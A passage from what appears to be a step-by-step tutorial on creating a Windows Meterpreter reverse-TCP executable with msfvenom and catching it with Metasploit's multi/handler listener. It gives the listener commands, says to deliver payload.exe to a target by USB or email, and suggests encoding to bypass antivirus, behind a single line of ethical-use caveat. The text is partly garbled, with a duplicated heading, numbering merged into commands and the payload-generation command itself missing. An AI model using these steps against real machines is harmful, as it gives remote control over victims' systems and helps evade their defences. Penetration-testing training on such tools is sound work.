Step 1 - Generate The Payload
Step 1 - Generate The Payload
Explanation:
● -p windows/meterpreter/reverse_tcp: Specifies the payload type
(Meterpreter reverse TCP for Windows).
● LHOST=YOUR_IP: Replace YOUR_IP with your IP address (the attacker's IP).
● LPORT=4444: The port on which the listener will wait for the connection (you
can change this if needed).
● -f exe: Specifies the output format as an executable (.exe).
● -o payload.exe: Saves the output file as payload.exe.
Once the payload is created, you need to set up a listener to handle the incoming
connection from the target machine.
1. Open the Metasploit Framework console:
2. bash
3. Copy
4. msfconsole
5. Use the exploit/multi/handler module to start the listener:
6. bash
7. Copy
8. use exploit/multi/handler
9. Set the same payload, LHOST, and LPORT as used in the payload creation:
10.bash
11.Copy
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST YOUR_IP
12.set LPORT 4444
13.Start the listener:
14.bash
15.Copy
16.run
Explanation:
● use exploit/multi/handler: This module is used to handle incoming
connections from the payload.
● set PAYLOAD windows/meterpreter/reverse_tcp: Matches the payload type
used in the msfvenom command.
● set LHOST YOUR_IP: Your IP address (must match the one used in the
payload).
● set LPORT 4444: The port to listen on (must match the one used in the
payload).
● run: Starts the listener and waits for the target to execute the payload.
Transfer the payload.exe file to the target machine (e.g., via USB, email, or network
share). Once the target executes the file, the listener in Metasploit will establish a
Meterpreter session.
Important Notes:
1. Ethical Use: Only use this on systems you own or have explicit permission to
test.
2. Antivirus Detection: Most modern antivirus programs will detect and block
this payload. You may need to use obfuscation or encoding techniques to
bypass detection (e.g., using shikata_ga_nai encoder with msfvenom).
3. Firewall: Ensure the target machine can reach your LHOST IP and port (4444 or
any other port you choose).